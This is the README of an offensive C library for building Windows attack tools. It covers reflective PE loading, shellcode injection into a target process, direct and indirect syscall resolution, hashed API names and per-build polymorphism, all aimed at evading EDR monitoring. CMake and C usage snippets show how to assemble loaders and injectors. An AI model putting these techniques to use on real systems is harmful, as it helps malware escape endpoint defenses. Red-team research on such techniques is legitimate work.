攻击性开发值得更好的架构。
一个用于构建攻击能力的 C 库。
大多数攻击性工具将执行机制硬编码在技术逻辑中。反射加载器不仅仅是映射映像;它会使用 VirtualAlloc 或原生 NTAPI 调用的特定硬编码调用链来映射映像。当 EDR 开始监控这条特定调用链时,你就不得不重写整个工具。
SindriKit 通过接口抽象表强制实现关注点分离,从而解决了这一问题:
通过将执行机制转移到运行时函数指针,你可以用一行代码将整个策略从 Win32 调用切换为原始直接系统调用——而无需更改 payload 执行逻辑。
snd_syscall_resolve_ssn_scan、snd_syscall_resolve_ssn_sort)附带优先级链——无需接触领域代码即可切换或扩展策略。SND_MORPH 实现深度多态。通过向 C 代码注入易变的不透明谓词、向汇编桩注入功能等价的数学运算/NOP,并打乱核心结构体的内存布局,每次构建都会生成唯一的二进制特征。cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
只需两行,你的工具就能继承 SindriKit 的全部能力:PE 解析、系统调用解析、反射加载……
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
实际上,这意味着每个领域都遵循相同的契约:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit 将系统调用解析视为一种可注入机制,并按优先级顺序叠加策略。引擎会依次尝试,直到某个策略成功:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
调用器与 SSN 解析解耦——无需修改领域代码即可在直接和间接系统调用之间切换。间接调用会跳转到合法的 NTDLL gadget,使系统调用返回地址保持在 ntdll.dll 内。
通过单个 CMake 变量,即可在编译时从最终二进制中移除所有 API 名称和模块字符串:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
每个哈希都使用随机生成的种子计算(当 SND_RANDOMIZE_SEED=ON 时)。无需改动任何 C 代码,静态足迹就会在每次编译之间完全改变。
一个用于任意运行时函数调用的自定义 MASM 汇编桥。x64 构建严格遵循 Microsoft x64 调用约定(影子空间、寄存器参数放置、栈对齐)。x86 构建以相反顺序压入参数,并支持 cdecl 和 stdcall 目标。
一个带有 is_mapped 标志的统一 PE32/PE32+ 解析器,可正确处理原始磁盘映像和内存映射视图。每次数据目录访问在解引用前都会根据跟踪的缓冲区边界进行验证。导出解析支持基于哈希查找的最多 4 层转发器链。
已测试:
pe_mutator 模块生成的 100+ 个动态 PE 变异:清零的节名称、整数溢出、无效的 e_lfanew 边界、损坏的导入。每个攻击操作都通过一个带有阶段枚举的独立上下文结构进行管理。操作可在阶段之间暂停,以实现睡眠混淆或分阶段部署;可以干净地恢复;并能精确检查失败点,细化到子系统和原因。
一次性引导系统调用管道(典型模式):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
调用器与 SSN 解析解耦——无需修改领域代码即可在直接和间接系统调用之间切换。间接调用会跳转到合法的 NTDLL gadget,使系统调用返回地址保持在 ntdll.dll 内。
通过一次赋值切换执行配置:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
模块解析遵循相同的模式(snd_mod_win 与 snd_mod_nt)。没有基于系统调用的模块后端——即使在完整的 _sys 配置中,导入也使用 PEB 遍历 + EAT。
SND_ENABLE_DEBUG=ON用于本地开发。snd_status_t 会扩展为包含 file、line 以及一个 128 字节的 context 字符串缓冲区。SND_ERR_CTX 和 SND_DEBUG_PRINT 会输出状态机转换、解析后的 PE 字段值以及系统调用解析结果。使用 SND_USE_PRINTF=ON 可将输出路由到 stdout,而不是调试控制台。
SND_ENABLE_DEBUG=OFF适用于实战二进制文件的标准部署配置。所有诊断字符串、文件引用和行号都会被完全编译掉。snd_status_t 会缩减为两个整数,仅此而已。
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
完整参考见 docs/:
loader_winapi、loader_nowinapi、inject_pe、inject_shell、heavens_gate计划中:规避 领域。
SindriKit 仅供教育、研究以及经授权的红队测试使用。 有关完整法律免责声明和 OpSec 注意事项,请参阅 安全政策。